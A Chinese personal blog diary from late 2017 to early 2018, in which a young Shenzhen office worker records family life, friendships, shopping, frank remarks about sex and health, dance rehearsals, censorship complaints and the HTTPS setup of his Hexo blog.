花了三个小时才憋出五百字，而且是错漏百出的五百字。下一步改进方向：
- 要在逻辑清晰的前提下追求简短有力
- 不可为了押韵而写一些匪夷所思的话
看到有些读者会写一大段留言，我会感动得不知如何回复。这种陌生人之间的奇妙联系，是让我笔耕不辍的毒药。
01:292017-11-07
15 岁觉得游泳难，放弃游泳，到 18 岁遇到一个你喜欢的人约你去游泳，你只好说「我不会耶」。18 岁觉得英文难，放弃英文，28 岁出现一个很棒但要会英文的工作，你只好说「我不会耶」。人生前期越嫌麻烦，越懒得学，后来就越可能错过让你动心的人和事，错过新风景。by 蔡康永
上班的时候，我会忙里偷闲背背单词。能用英文和人交流是一件很酷的事情，所以得加把劲把口语和听力提上去。
12:45在 Freenom 注册了一个免费的域名「tingtalk.tk」，但免费可能是最贵的。于是就去 Godaddy 花 14 块钱（一年）买了新的域名「tingtalk.me」，以 .me 结尾，更符合博客的定位：庭说，写自己的故事。
17:09「.me」域名从 2017 年 7 月多开始就不能备案，而没有备案的域名，在微信无法直接打开，需要跳转一次，特别烦人。每个互联网公司都企图把用户圈在自己的地盘上，原本开放的互联网如今已成为一个个信息孤岛，这是最好的时代，也是最坏的时代。
近来熬夜多，打球都腰疼。
23:432017-11-08
4 天前的 11:12，我在日记里提到：性，是一个朴素自然的欲望。阔别不了多久，Ta 自然会来找你。
4 天后的午休，短短半个钟，我就做了三个梦，其中一个居然是羞涩（射）的春梦。醒来裆部湿了透，只好解衣换「贤内」。
只要你性激素分泌正常，对于这种月更或季更的梦遗行为（Wet Dream），不必感到变态龌龊难为情，它和适度自慰一样，都是健康的。
因为睾丸里每时每刻都在生产精子，「储藏室」里压力大了就需要释放一下，这是一种极其正常的生理反应。像我这种没有性生活的单身男士，双手一旦懒惰，那精子只有在梦里放松警惕的时候来排解咯。
据不完全统计，有九成的孕妈妈都在孕期做过春梦。漫长的禁欲期，分泌过高的性激素，以致春梦频发，从而缓解旺盛的性需求。普通人频率最多是月更，而孕妈妈可能是周播，甚至还有番外篇。
庭勃士还了解到，只要姿势得当，孕中期是可以嘿咻的。
苏轼曰：人似秋鸿来有信，事如春梦了无痕。大意是说：人就好像秋天的大雁一样，来去都会有音信痕迹可寻。可是往事就好像春梦，连一点痕迹都没有留下。狗屁，我记得清清楚楚。
注释：诗中的春梦，愿意是指春天的大梦。这里为了剧情需要，实属故意曲解。
参考来源：飞碟说、丁香医生
12:45距离上一次买衣服（梦遗也是）已经过去很久了，还记得是五姐陪我去买的。看完爱否科技的《优衣库值不值买》视频，一口气在购物车添置了大量衣物，总价接近一千多块，双十一应该可以便宜几百块，就差鞋子没选定。真是个败家爷们。
00:372017-11-09
昨晚又做梦了。梦见自己取消转正，扣减鸡腿。梦醒时分，虚惊一场。
一位读者看了我的博客说：以后有事不能和你说，什么都被你抖到博客上去了。
为了不辜负那一份来之不易的倾诉与信任，不得不选择性启动深度加工写作模式。
我经常在刻画真实与保护当事人隐私之间纠结万分，没法拿捏得当。这块石头，从我一开始写博客就压在心头，今天终于砸到脚了。并不是每个人都喜欢像我一样不顾后果地去描述当下，肆无忌惮地宣泄表达欲。
（关于亲子园虐童事件）毕竟多惨的事我们都见识过了，用不了几天都会过去的，没有什么比抓紧收拾心情，切换成岁月静好、现世安稳的模式更重要的了。我一如既往的悲观，这种悲观不仅来自于对现实的判断…… by 王五四
有人的地方，就有江湖。人类社会发展到现在，社会问题并没有减少。每次出现此类令人心痛的事件，对我的触动并不大，这种「应激疲劳」的状态是不是显得不近人情，可能是因为我没有孩子的缘故。
00:502017-11-10
群聊中的有一类人叫「红包乞丐」，动不动就让人发红包，把气氛搞得忒尴尬。
12:35高一女同学 SXY 的孩子一周岁了，上学的时候，大家都以为我暗恋她，但我对她真的没有恋人之间情愫，是非常单纯的友谊，类似哥哥对妹妹的溺爱。
遥想当年有一段时间，虽然生活拮据，但每到周五我都会买一瓶饮料给她。至于为什么这么做，我也忘了，可能是因为她经常把零食分给我吃吧。现在污化了，对待异性，满脑子浸泡着油腻的想法。
分享一下双十一的战果：
- 针织摇粒绒拉链茄克(长袖) 401712 优衣库 ¥ 129
- 柔软圆领 T 恤(长袖) 400325 优衣库 ¥ 59
- 袋装圆领 T 恤(短袖) 180700 优衣库 ¥ 29
- 花样年华男士小白鞋 网易严选 ¥ 200
没抢到优衣库的
- 高弹力牛仔裤
- 无褶修身长裤
大大减缓了钱包瘦下来的速度。刚好也不缺裤子，凑合着穿呗。如此不会打扮，有预感下年我还是老光棍。毕竟相爱容易，相处太难。
01:142017-11-11
月饼不好吃，月饼中的蛋黄好吃。二姐下午要包蛋黄粽，我听了很心动，但我又想留在宿舍无拘无束地浪费光阴。两难之下，蛋黄粽成功把我勾引。一是公司的伙食不和胃口，二是今天光棍节，加加餐。
11:34你已经是二十几岁的人了，你应该学会吃喝玩乐，而不是吃恋爱的苦。
13:20积累了几周的资讯没看，一下子看完脑袋够呛。我一直在优化：如何在信息爆炸的时代，过滤信息噪音？
23:342017-11-12
Google 搜索「**庭」，看看同名同姓的人都取了怎样的英文名。翻到第 6 页，发现母校官网上的一则喜讯：
热烈祝贺西湖文武学校 2010 年中考再创佳绩：**庭同学考取 735 的高分考入东山中学……
2010-09-15 15:47:34那是我学生时代的巅峰，然后高中谈恋爱，大学瘫宿舍，泯然众人矣。
23:472017-11-13
选择你喜欢的，尊重你选择的。但又经常陷入自我怀疑之中：
- 是否需要调整奔放的写作风格？
- 是否需要维系塑料花般的友谊？
- 是否需要在朋友圈提醒友心人我又更新了博客？
时而感觉良好，时而想要放弃，这难道就是人生的主旋律？
00:242017-11-14
JYF：你是妇女之友（Women's friend），能告诉我怎么撩男神吗？
Dr_Ting：我要是会撩，你们妇女早就被我辣手摧花了。
JYF：怎么才能找到志同道合的朋友？
Dr_Ting：但行好事，有朋自来。
2017-11-15
其实你也没有多喜欢他，只是对于自己付出了却得不到回应这件事，耿耿于怀。 by 马男
2017-11-16
好孕时刻：时隔 12 年，32 岁的 2 姐终于怀上了 2 胎。嘴上说不想生，如此便可在 40 多岁的时候功成身退，翘着二郎腿当奶奶，背地里却埋怨备孕几年都怀不上。女人心，海底深。
15:302017-11-17
毫无意义的朋友圈[奸笑.jpg]，老钟你变成你以前讨厌的那种人。by 397
我曾经认为一个好的朋友圈的应该是这样的：
- 包含时间、地点、人物、起因、经过、结果……以此达到大众可读的目的，而不是少数人的圈子
- 轻微修图，以看不到美颜的痕迹为佳，你长什么样，认识你的人都知道
- 如无必要，勿增实体，比如不加猫耳朵
- 不要发表过多的负面情绪
在这种不近人情的评判标准下，经过多次测试，我大概会屏蔽五分之一的微信好友。但是屏蔽并不代表我们就不是好朋友，只是因为我有信息洁癖（比如聊天记录阅后即焚），希望在朋友圈看点有信息量的帖子。
上二年级的外甥，突然要考我的单词量，这当然难不倒我。毕竟可是经常背单词的人。当他念出第二个单词 nightingale ['naɪtɪŋɡeɪl] 的时候，我迟疑了八分之一柱香，接着，我的下巴以 9.8 m/s 的速度自由落地，摔得粉碎。现在的小学生压力已经很大了，为什么不多教点日常用得上的单词呢？
23:362017-11-18
在打骂教育下长大的孩子，以后能否心理健康？一想到此，我就害怕自己有了孩子时候也会这样。就像 FXQ 说得那样：老钟你变成你以前讨厌的那种人。
23:282017-11-19
一不留神，刚学会走路的娃子就磕破了口腔内膜。照看小孩，万般小心！
23:462017-11-20
单身久了，就是他妈的絮叨。
我一般是半年或者一年生一次病，以此补充抗体。毫无征兆，今日身体抱恙。头像灌了铅一样沉重，摇一摇咻咻得疼。喉咙如火烧一样，每一口吞咽都如鲠在喉。双腿似绑着负重袋，不复往日的矫健。
困，眼睛疼，又睡不着，脑子一团乱麻，活蹦乱跳的日子总算到头了。
21:332017-11-21
平常没什么重要的事情上报，都不会打电话给父亲，所以一般都是父亲打电话给我。
昨晚父亲问了我转正薪资和公积金以后，说了句「先干着吧」，我从中解读到的信息是父亲并不满意我现在的工作。
从封闭的武校出来以后，我有了更多的追求，备战高考并不是我的第一要义，健康和快乐才是人生的本义。
不出意外，高考正常发挥，考上了 2A 。眼睛一闭一睁，四年过去了。我以为我可以写字为生，闲暇之余学学设计和摄影，如愿过上文艺的生活。
做了三个月的新媒体编辑，才发现商业写作是多么地言不由衷，落败出逃，回到曾经被调剂的专业怀抱。
入职 127 天，我得到了许多微小而确定的幸福：
- 不用早起挤公交和地铁
- 与同事和舍友关系良好
- 不用加班，下班可以打篮球
- 工作内容上，不用虚头巴脑地去欺骗读者
在赚钱的能力上，父亲不满意我的现状。现在，让我用一种得过且过的口吻为我的庸常辩解一下。大部分人都在追逐成功，跳不出人类社会的桎梏：
- 更多的银子
- 更快的车子
- 更大的房子
- 更美的伴侣
- 更大的生殖器
- 更长的交配时间
- 更深不见底的欲望
- ……
我们到底能不能平静地接受自己是个普通人？既往不恋。不回头，不怀旧，不惋惜。
00:132017-11-22
你要克服的是你的虚荣心，是你的炫耀欲，你要对付的是你时刻想要出风头的小聪明。by 毛姆
关闭「朋友圈入口」后，心态平和了，有更多的时间用于阅读（但还是碎片化），试试自己能忍几天？
几个记忆卓越的人回想同一桩事却大相径庭，甚至南辕北辙。每个人都言之凿凿，笃定别人撒谎。记忆天然地带有个人偏见，各自的利益和立场，不动声色地渗透进去，从而导致真相的歪曲和迷失。 by 周晓枫
我一直都很认同这个观点。大部分人都是自私的。世间万物的天性是生存并繁衍下去，一切行为的出发点都是为了自己活下去，更准确的说，是让种群中适应环境的基因传下去。所以言行举止中，不可避免含有自私的成分。
舍友老董，天性开朗，说话俏皮，与之打趣，非常愉快。可是这位滔滔忘年交，明天就要搬出来和老伴住了。他总是不害臊地说「小钟钟，我会想你的」，那一刻，心有点酸。
23:492017-11-23
事情有折衷的做法，而我总是想得太冲太绝对。
不跟父母正面起冲突。当父母过度干预时，比如常见的逼婚，在冲突当下可以先答应他们。口头哄一哄“我想多陪你们一段时间”，比起“我不想跟你讨论这个问题”要高明得多。当然还有更高明的话术，是“我找不到像我妈/我爸这么好的人。” by 熊太行
刚刚父亲用母亲的电话问我怎么调节手机的屏幕亮度。
20:12其实过年的时候，我就想教父亲用手机，可是父亲说自己用不到那么多功能，免了。结果前几天打电话给子女请教「微信如何绑定银行卡」，不然就无法收发红包。
时代滚滚向前，没有给守旧的人机会。
2017-11-24
二姐让我过去带外甥（12 岁）去开拓眼界，比如少年宫、博物馆、科技园等，但是我已约了同学打球。
其实每个周末去陪外甥玩，也是挺累的。当然不是说我不喜欢外甥，只是频次高了，就变味了。周末是难得的空闲时光，窝在宿舍做点自己喜欢的事，岂不是美滋滋。
01:282017-11-25
没去赴约和大学同学打球，猫在宿舍整我的博客，发现新大陆：借助 VPS 和 Dropbox 可以全平台部署 Hexo 博客，而不是仅仅局限于 PC 端。
01:49怀念「锤子便签」精致的 Markdown 排版，于是重新下载到手机。打开之后，发现里面留了一段曾经的退群宣言。
放弃无效社交：照片分享完毕，原谅我一言不合就建群，是时候为自己的行为负责了。大家是否有这种感觉：1. 被迫社交，碍于面子不敢退群；2. 满屏群聊，吹水打屁蹉跎岁月。所以，有时间我们还是面对面地坐下来，七嘴八舌地互黑吧。此致，删除并退出群聊 by 在拥挤公车上的公鸭嗓先生：庭仔
2016-05-08话虽如此，随着微信的渗透，有些群退不了了，它就像电线杆上的小广告一样贴在聊天列表里，对于我这种阅后即焚的人来说，春风吹又生。
终于等到自己成人，能够自立，本以为可以如同鸟儿一样远飏而去，却发现人始终是社会的人，并非是简单的生物体。你无时无刻不生活在社会规则里。by 和菜头
2017-11-26
Dropbox 是 Dropbox 公司的在线存储服务，通过云计算实现互联网上的文件同步，用户可以存储并共享文件和文件夹。 Dropbox 提供免费和收费服务，在不同作业系统下有客户端软件，并且有网页客户端。 via 维基百科
用时两天，成功「借助 VPS 和 Dropbox 全平台部署 Hexo 博客」。如此一来，在任何电脑和手机，只要登录 Dropbox 就可以把写好的文章推送到庭说的博客，真是妙不可言。
02:862017-11-27
写作很苦（怀疑写得烂，生怕没人看），坚持很酷。
若批评不自由，则赞赏无意义，哀国家之不幸，怒国人之不争。致「互联网信息内容主管部门」。
01:17世界光怪陆离，生命贱如蝼蚁。强权之下，我们都是低端人口。
02:382017-11-28
一年前，有一位十几年没见的异性朋友 ZLJ 请教我如何开通公众号。在本勃士的循循善诱下，她坚持月更一年。今天，微信公众平台终于“临幸”了她，邀请她的公众号「乐君儿」开通原创保护、赞赏、留言等功能，我为她感到特别高兴。
写作不仅是记录生活，很多事情写出来就顺了。在表情包过度代替文字表达的当下，人们已经忘记母语的强大，文字依然是人类文明最强大的载体。
希望有朝一日大家都能明白：不是你认可的，你不认可的就是错的。聊得来就一起玩聊，不来就算了。没必要强求，也强求不来。大家都一把年纪，也没剩多少天了。与其花那么多时间去说服别人，不如用来找些和自己志同道合的人。@ 阿花花酱
我自认为是个尖锐的人，没交到几个知心人。但是当我把近况发布在朋友圈的时候，一些友心人总会送上亲切的问候。或写在评论下面，或私聊我。
与此同时，我也变得愈发爱憎分明，心怀乐观的悲观主义，不指望获得 Ta 人的理解。对于不友好的评论，已懒于斡旋，直接复之：屏蔽我圈，一别两宽。
说来惭愧，我基本不会主动找朋友聊天。所以，我该大胆地在朋友圈告诉友心人，庭说（tingtalk.me）这周又更新了，为了关心我的人，为了找到道合之人。
00:54Fuck me, 又玩手机玩这么晚。
01:282017-11-29
得知朋友 ZYT 的夫君要闹离婚，此时我震惊万分。Ta 们的女儿已经出生 13 个月，小两口的感情却快走到了时间的尽头。不由地思考，婚姻除了获得合法的性伴侣，还剩下什么？
10:44现实生活一片狼藉，网络世界也不容乐观：
你好，根据相关法律法规和政策，图文消息“硬盘总坏，坏人总造谣”已被互联网信息内容主管部门责令删除。如有异议，可向当地互联网信息内容主管部门咨询。by 可能吧
1994 年，我来到这个世界。同年 4 月，中国正式接入国际互联网。1998 年，中国互联网审查系统（包括相关行政审查系统）起步，从此与国际互联网分道扬镳，并成功把境内网民哄“睡”在祖国母亲的“襁褓（强暴的墙保）”里。啊，中国大陆，一片神奇的土地。回眸望，与墙对抗两年有余。
11:12为了早点休息，今天没去打球，结果越来越晚，在忙什么呢：
- 消灭囤积的资讯
- 深夜等待 Windows 10 更新
- 把 www.tingtalk.me 重定向至 tingtalk.me
- 把 http 升级至 https，防止运营商劫持（比如无耻地在庭说的博客下面贴广告）
- 发现一个有趣的两性播客「保持冷静」，越听越精神。
01:50
吉时已到，开始睡觉。
05:052017-11-30
9 月 12 日申报「深圳新引进人才租房和生活补贴」，11 月 30 日到账。不过我只是补贴的搬运工，最后还是要悉数上交给父皇。
11:20朋友 ZYF 发了一个朋友圈：「夕阳西下，美轮美奂」，我评论道：「美轮美奂」一般指建筑物富丽堂皇，此处形容晚霞，略有不妥。却不料 993 受不了这刀子嘴，生气地命令我把评论删了，不然被共同好友看到多打 Ta 脸。变味的朋友圈，易碎的玻璃心。
19:31每天都有人找我聊天，同异性皆有。Ta 们找我干嘛呢：
- P 证件照
- 纯属解闷
- 解 Ta 心忧（疗法：强行让 Ta 乐观，强行灌鸡汤）
- 问我科技互联网相关的问题（咨询电子产品选购意见、修复手机电脑）
- 京东的优惠券（其实京东微信版、京东 App、京东网页版都有，Ta 们就是懒得找）
- ……
庭勃士并没有那么神通广大，大部分问题我都是借助 Google 搜索引擎回答广大求助者的，没什么了不起，善假于物也。
要么被人需要，要么主动帮人，借此，才找到些许人生存在的意义，感谢所有麻烦我的人。然而，一味地付出，有时也会感到疲惫，有时也会克制不住情绪。这时，请您多一点同理心。除了亲人，任何人没有义务为你提供无偿的服务。
昨晚 5 点睡，上一天班竟没什么不适，我果然还是精力旺盛的年“轻”人（工作 5 个月，瘦了 5 公斤）。
01:232017-12
2017-12-01
在他人分（xuan）享（yao）自己的经历时，静静聆听而不是说：「我早就做过了，有什么好稀奇的。」保护他人的喜悦是一种美德。
一下子就到周五了，明天带外甥去看电影《寻梦环游记》。
00:332017-12-02
Seize the Moment：不得不说，《寻梦环游记（Coco）》拍得太棒了，与《星际穿越（Interstellar）》有异片同工之妙：时空割裂不了爱。当 Miguel 在教堂弹动吉他那一刻，我深深地被震撼到了，瞬间起了一身的鸡皮疙瘩，这快感，妙不可言。最可怕的是，看到动情时，我差点哭了。
不知从何时起，我的脑袋经常会闪过一个念头：假设我突然死亡（比如车祸、晚癌），身为一个悲观的乐观主义者，我会瞑目吗？可以的。未找到人生的真谛，未找到值得奋斗一生的目标，被动选择离开人世，从某种程度上，我安详地解脱了。我甚至好几次动了写遗书的念头，厌倦了人类社会的游戏，不如逃离无法理解的现实。
这种间歇性的极度悲观，这种哲学式的反问，会慢慢地吞噬我的心智，直到四大皆空。我能做的，就是保持勃起的好奇心，不断找到兴趣点，以此忘了人生终极的思考。
2017-12-03
要学会忆苦思甜（回忆过去的苦难，回想今天的幸福生活），内心才会更加平和（Inner Peace）。
01:452017-12-04
本周上班都在划水摸鱼。
第一次穿上小白鞋，仔细看，那小子真帅（其实并没有）。
08:24一整天都在构思如何把《翻墙教程》写得精简易懂，并且躲过被网信办的审查。
01:132017-12-05
Farbox 日必自问以志之：
- 今天过得还行吗？
- 还行
- 完成了哪几件重要的事情？
- 可以在手机上把文章部署到博客上
- 关心朋友和家人了么？
- 提醒亲人二姐夫生日，并私发了红包
- 身体怎么样，锻炼了么？
- 同事说我眼圈很黑
- 打了几个钟篮球
- 有什么新的感悟和收获？
- 调整过来，早点休息
- 晚安
00:52
2017-12-06
要有职业道德，上班只做上班相关的事，兴趣又不能当饭吃
第一次在京东上买水果，体验没话说，五星好评
旧的 Gmail 账号又臭又长，但是 zhongweiting@gmail.com 又被人注册了（也可能是我忘记密码了），只好申请了一个新的 Gmail 账号：tingtalk.me@gmail.com，Perfect。
小米 6 终于可以通过「Go 谷歌安装器」安装 Google 全家桶了
2017-12-07
你怎么就不明白呢？这个世界不会为你而改变什么的，我就像这个世界一样是不会为你而改变的。——《牯岭街少年杀人事件》
影片时长 237 分钟，当时没看明白，好电影值得细细品尝，已加入待看电影清单。
2017-12-08
- http://tingtalk.me 成功加密为 https://tingtalk.me
- http://www.tingtalk.me 重定向至 https://tingtalk.me 失败
- 夜已深，来日战
02:57
2017-12-09
网站 https 加密及 return 301 重定向成功。访问以下前 3 个网址，都会跳转至第 4 个网站（加密后的顶级域名）。
Mission Completed 的那一刻，我开心得像一个 120 斤的孩子，手舞足蹈，开心不已。
14:332017-12-10
公交车站尘土飞扬，只我一人，没铁板凳，坐在 ofo 上，啃着甘蔗。回公司的 M310 路公交车到了，我在玩手机，没有招手。于是司机叔叔视我不见，扬长而去。我想要追上去，却又害怕追不上。犹豫片刻，车已消失在我的视线。有一点生气，但仅此而已。只要手机还有电，我就能不焦虑。Inner Peace。
20:07永远年轻，永远色眯眯，永远保持勃起的好奇心。
20:192017-12-11
开心地生活，诚恳地写字。
父亲是一家之主，拥有绝对的发言权，我们七姐弟从小都怕这位魁拔的大男子。
鸡腿，作为整只鸡最多肉的部位，一般是年纪最小的孩子吃，或者父母夹给你吃，其他人只能望眼欲穿，这在我们家是心照不宣的约定。但在今晚的家宴上，从家乡远道而来的父亲竟把腿子指派给我，Surprise.
01:122017-12-12
HTTPS 的主要思想是在不安全的网络上创建一安全信道，对窃听和中间人攻击提供合理的防护（比如：防止运营商劫持你的网站，贴上「澳门线上赌场」的广告）。
目前博客上的图片链接是 HTTP 形式的，全站资源都要 HTTPS 才能得到「小绿锁」。花了几个钟，没找到可靠的 https 图床。维护一个网站，没那么容易一步到位，这也正是乐趣所在。
这周的《海贼王》真精彩，不愧是我初中追到现在的动漫。
00:492017-12-13
双 12 又买了一件优衣库的摇粒绒夹克（¥ 89，卡其色，165/84A/S），又轻又保暖。
tingtalk.me 的图床已从七牛迁移到新浪，博客终于实现全站 HTTPS 加密，您发送的信息或通过该网站获得的信息将不会公开。
01:052017-12-14
开始准备年会节目，重新温习三段和五段南拳。
01:252017-12-15
Thoreau said, “Most men lead lives of quiet desperation." 梭罗说，“大多数人都生活在平静的绝望中。”
What did I do today:
- 把硬件测试用例推送到博客
- 又和同事去吃了螺蛳粉（干拌）
- 向大姐买了一份非常优惠的重疾险（插播一条广告：134 8074 1625）
- Google 照片备份行动有序进行中（高画质下免费无限量空间）
- 年会节目《Shuffle Dance》学习受挫（手脚不协调）
- 最近为何越来越晚睡
01:45
2017-12-16
至亲之人被离婚，希望有个转机，但人性难改，Let it go
《Shuffle Dance》学了一晚上，小有成就
02:212017-12-17
人的一生，也总是陷入这种死循环。熬夜的人继续熬夜，拖延症继续拖延，矛盾就是生活的底色。——春雨爱做菜
每个人每个家庭，做人就跟唐僧师徒取经是的，过了一个难关又一个难关，所以不必太纠结，得想办法和应对问题，解决问题。所以人天生就是磨练的，有问题正常，我们永往直前，想想现在比以前胜百倍，过了今天，昨天都是故事，过了后天都是往事，愿我们一起修行，一起向前，未来比现在胜一倍。——黄泽优
2017-12-18
人情冷暖，执我本心。
- 父亲：被子够暖吗？
- 我：够
- 父亲：照顾好自己
- 我：嗯
- 通话结束
学习新舞蹈《Mi Gente》，律动不够妖
01:182017-12-19
小伙伴们觉得《Mi Gente》太难，改回《Seve》。其实我也觉得难，但不服气，努力练习，应该可以在年会前（2018 年 1 月 6 日）出师。
练舞练疯了，三更半夜在学 Moonwalk（月球漫步）。
01:482017-12-20
必须调整作息，做不到我就是小狗。
01:542017-12-21
有进步，相比昨天，提早了一个钟睡觉。
01:032017-12-22
Second sister like a grudge, make me feel uncomfortable.
21:00受人之托，起草《离婚协议书》，一个已婚同事经常说：没事别瞎结婚。一个哥们准备开始相亲了，但他不想那么早结婚。
01:132017-12-23
换了新发型，得添新装备：
- 恒温吹风机
- 发蜡
- 定型喷雾
- 每天早起五分钟吹发型
01:07
2017-12-24
放弃购买秀发定型装备，人丑，再整也就这样。
22:452017-12-25
苍天啊，我为什么要答应她们在年会上跳 May J Lee 给《Worth It》编的舞，为此，不得不在三更半夜补习爵士舞的基本功，因为我想练出水蛇般的 Wave。
02:002017-12-26
Shit，跳舞跳到肚子疼（不是腹泻那种），可能是腹部脏器被我甩错位了。
22:09我能练好的，加油。
00:352017-12-27
我从来不想独身，却有预感晚婚。我还在等，这世上唯一契合灵魂。by 李宗盛的《晚婚》
螺蛳粉，一种不耐饿的食物，鉴定完毕。
01:012017-12-28
很久之前我就知道，晚上不能碰富含水分的食物。但是昨晚饿的不行， 1 点钟吃了个火龙果，怎敌它晚来 Wet Dream。
00:492017-12-29
用情至深，伤及自身。by 庭勃士
17:22高一同学 GJL 和 ZHB 让我今晚就从深圳去广州跟他们“快活”。犹豫片刻，约了顺风车，说走就走，深夜赶往“案发现场”。
01:002017-12-30
猛然回首，发现大部分朋友在 18 岁之前交完了。多么痛的领悟。
2017-12-31
从广州赶回深圳和大学同学一起跨年。我们一起玩手机，一起共进晚餐，一起开怀大笑，一起调侃彼此的工作……此时有多欢乐，跨年就有多失落：
Plan A：搭地铁去「欢乐海岸」跨年，倒数活动被当局取消。
Plan B：战略转移至「世界之窗」。单车骑得飞快，成功在 23:55 前到达。情理之中，意料之外，倒数活动又被当局取消。
眼看着 2017 的最后 5 秒就要到来，我开始高喊 5 -> 4 -> 3 -> 2 -> 1 -> 新年快乐，没有人应和，没有敲钟，没有礼花，没有惊喜，只有懒政的当局。
祸不单行。
大伙灰溜溜地回到坪洲，打遍了周边所有酒店的电话，无一例外，都是满房。于是我们 7 个男生只好借宿在 ZXT 狭小的出租屋里（只能放一张床）。床上 4 个人，床下 3 个人。没有被子，只能把身子蜷缩起来，脚丫子呢，就贴在同学的臀部上取暖。难忘今宵。
因祸得福。
同学 CGF 买了一张 10 块钱的体育彩票（刮刮乐），居然中了 100 块，Amazing。
2018-01-01 00:07，收到第一个非群发祝福（by LJ）：钟先生，新年快乐。记住哦，我的祝福会扫除你 2018 所有问题和障碍。
2018
2018-01
2018-01-01
为了跳好《Tez Cadey - Seve》我请 Luckystar Low 老师、傅某老师、欧耶（OU YE）老师、MiMi 梅子老师、DFD 老师和不知名的橙衣老师。《Worth It》有 1M 的 May J Lee 老师、悦舞的雪 V 老师和TOPKING 的菲菲老师。经过一番苦练，年会正常发挥。
2018 年就这么呼啦啦地来了，短暂的欢愉过后，剩下焦虑的人生。身为一个凡人，想要找到的存在的意义，并不容易。但是我从来没有放弃寻找：活着，为了什么？
01:182018-01-02
公众号「庭说」的 2017：
- 累计阅读数：1914
- 累计点赞数：98
- 原创发布篇数：11
- 总字数：1 万，相当于写了 1 本《棋王》
- 年度热词：秘密、手机、照片、浏览器、安卓……专注于自己的内容领域， 并不随波逐流
2018-01-03
永远自由自我，永远高唱我歌。
12:55近期过度分享「私生活」，以满足过分的「虚荣心」。知耻而三思。
01:282018-01-04
恋爱最真贵的纪念品，从来就不是那些，你送给我的手表和项链，甚至也不是那些甜蜜的短信和合照，是你留在我身上的，如同河流留给山川的，那些你对我造成的改变。by 蔡康永
2018-01-05
繁重紧急的工作让我无所适从，不会大事化小，不能条理清晰地完成任务。Calm down and keep going.
楼下的邻居（三个女孩）终于受不了我深夜练舞而发出的噪音，战兢兢地上来「问候」我。
忘我地扭动腰肢，忘了还有无辜的邻居。该死！
01:232018-01-06
早上没有自然醒，是肚子疼醒的。拉了 5 次才好受些。
晚上的年会舞蹈发挥不够优秀，给自己打 75 分。很多人说我跳得好，但是我本可以把动作练得更加合拍，但是懒，练到半成功力就懈怠了。
抽奖没有我，但是也没有失落。
一个石头落下了，另一个石头砸脚上了。肚子里的「石头」又开始翻滚了，上厕所去。
01:282018-01-07
我从来没有放弃接近异性朋友，尽可能地去帮助她们（同性也帮），如此一来，我就可以收获很多来自异性的关注，心机 Boy。
有时会对她们开一些「暧昧」的玩笑，效果不错的话，会达到一种「友情之上，恋人未满」状态，哩个 Moment 很微妙，我很喜欢。当然这些都是我的遐想，Bad boy。
01:422018-01-08
细腻地观察生活，总有新奇在身边。
84 岁的外婆又开始催我找女朋友了。
01:41肚子疼，起来拉肚子。一开灯就听见砰的一声，伴随着火花，阳台灯「爆」了，宿舍也跳闸了。
02:002018-01-09
开通了华泰证券的账户，以备不时之需。
同事和我约好了下班去看《前任 3：再见前任》，好巧不巧，经理临时下达了学习任务，让我晚上加会班。
00:302018-01-10
见不得女孩哭，因为这样会显得我很无能。无能到不敢离开她的视线去拿纸巾，更别提给她一个温情的拥抱。我只能被死死地钉在椅子上，静静地听她讲述背后的故事，一个关于办公室政治的故事。
世界不会总是对你温柔以待，但我们依然会保持友善。
00:442018-01-11
父亲提醒我谨慎使用扫码支付，因为在新闻上看到有人上当受骗了。
五姐貌似进了一个叫「权健自然医学」的变相传销骗局，并且交了学费，朋友圈也看到五姐拍摄一些毫无医学根据的火疗教学视频。给五姐发了很多关于「权健」的新闻报道，希望这段时间可以安然脱身。
这种极富中国特色的养生与保健，注定会长久存在。开启民智，没那么容易。
多么荒诞。
00:102018-01-12
同事年会中了奖，请大家去 K 歌。有人说我的情绪和肢体很到位，那是必须的，歌舞搭配，唱 K 不累。Tips：主动备些零食，因为嘴巴一停下来，就容易寂寞。
00:122018-01-13
为了填程序员叔叔的坑，今晚加班到 00:06。
2018-01-14
上次去办工商银行的工资卡，手续繁琐，要我下载两个 App。今天得闲去激活社保卡，系统出故障，下午才可以更改手机号。等到下午，人山人海。
去年双十一买了一条「优衣库 UNIQLO 蓝色直筒牛仔裤 (165 / 75A)」，拖到今天才来裁裤脚。始料未及的是，下午 4 点以后才可以提货。
来都来了，掏几件衣服回去才不枉此行。在「爱否科技 FView：优衣库值与不值得买」的推荐下，买了：
- 高弹力紧身牛仔裤（165 / 76A、¥249）
- BLOCKTECK 防风修身无褶长裤（165 / 72A、¥199）
惊奇地发现，165 还分 76A 和 72A，差别不小。所以，买衣服还是要试穿的。
Tips：
- 165：身高
- 72：腰围
- A：正常体形
2018-01-15
在信息爆炸的时代，你用心「写」下的文字，会很有份量。
新的一周开始了，一切都要向更好的方向发展：
- 认真工作
- 降低信息噪音
- 学习更多的技能
- 工作日关闭朋友圈
明日复明日，明日何其多。提高执行力，现在睡觉去。
00:12后记：
- 上班划水
- 勇敢地减少了信息来源
- 学习剪辑视频和 Python
- 不看朋友圈，世界清静好多
2018-01-16
感觉「网易云音乐」推荐的歌曲越来越不合我的「胃口」了，切换到「QQ 音乐」，找找新鲜感。
23:20一天中最幸福的时刻就是洗完澡钻进被窝，在枕旁点亮一盏柔和的随身灯，听着歌，把积攒了一天的资讯看完。
23:262018-01-17
有的人浅薄，有的人金玉其表败絮其中。有一天，你会遇到一个彩虹般绚烂的人。当你遇到这个人后，会觉得其他人都只是浮云而已。——《怦然心动》
00:142018-01-18
暗恋，是我一个人的兵荒马乱。
情书，是我一个人的自言自语。
庭说，是我一个人的瓦尔登湖。今日反省：控制不住碎嘴唠叨、控制不住情绪发泄、控制不住人际分寸、控制不住得失进退。毒舌一时爽，事后难以收场。
00:552018-01-19
世间所有的分歧都来自世界观不同。放下争执，暂且宽心。
00:422018-01-20
感情的生活里，不管是「累犯」还是「从无前科」，你永远都是那个新手。每一个人给过你的痛苦和快乐，都具有独一无二的意义，珍视它们对你的磨砺与赠予。非要告别的时候，潇洒转身。
做一个知情识趣的人，有个爱好，陪伴你度过漫漫的时光荒原。by 王晴颖
08:11有人这样解释「和谐」：和，口中有禾也，意思是人人都有饭吃；谐，人皆可言也，意思是人人都能说话。做到了这两点，才算得上是和谐社会。处在新时代的中国，并不是人人都能说话。因为普天之下，莫非王土，审查一直都在。
公司安排了体检，我在排着长队，突然把我领到 VIP 体检区。Surprise。
《神秘巨星》又是一部印度佳片，观影过程中，好几次眼眶湿润了。
看完电影，回到 HOMEINN，洗完澡，停电了，Wi-Fi 断了，SIM 卡没信号了。没有网络，只好早点睡觉。
02:122018-01-21
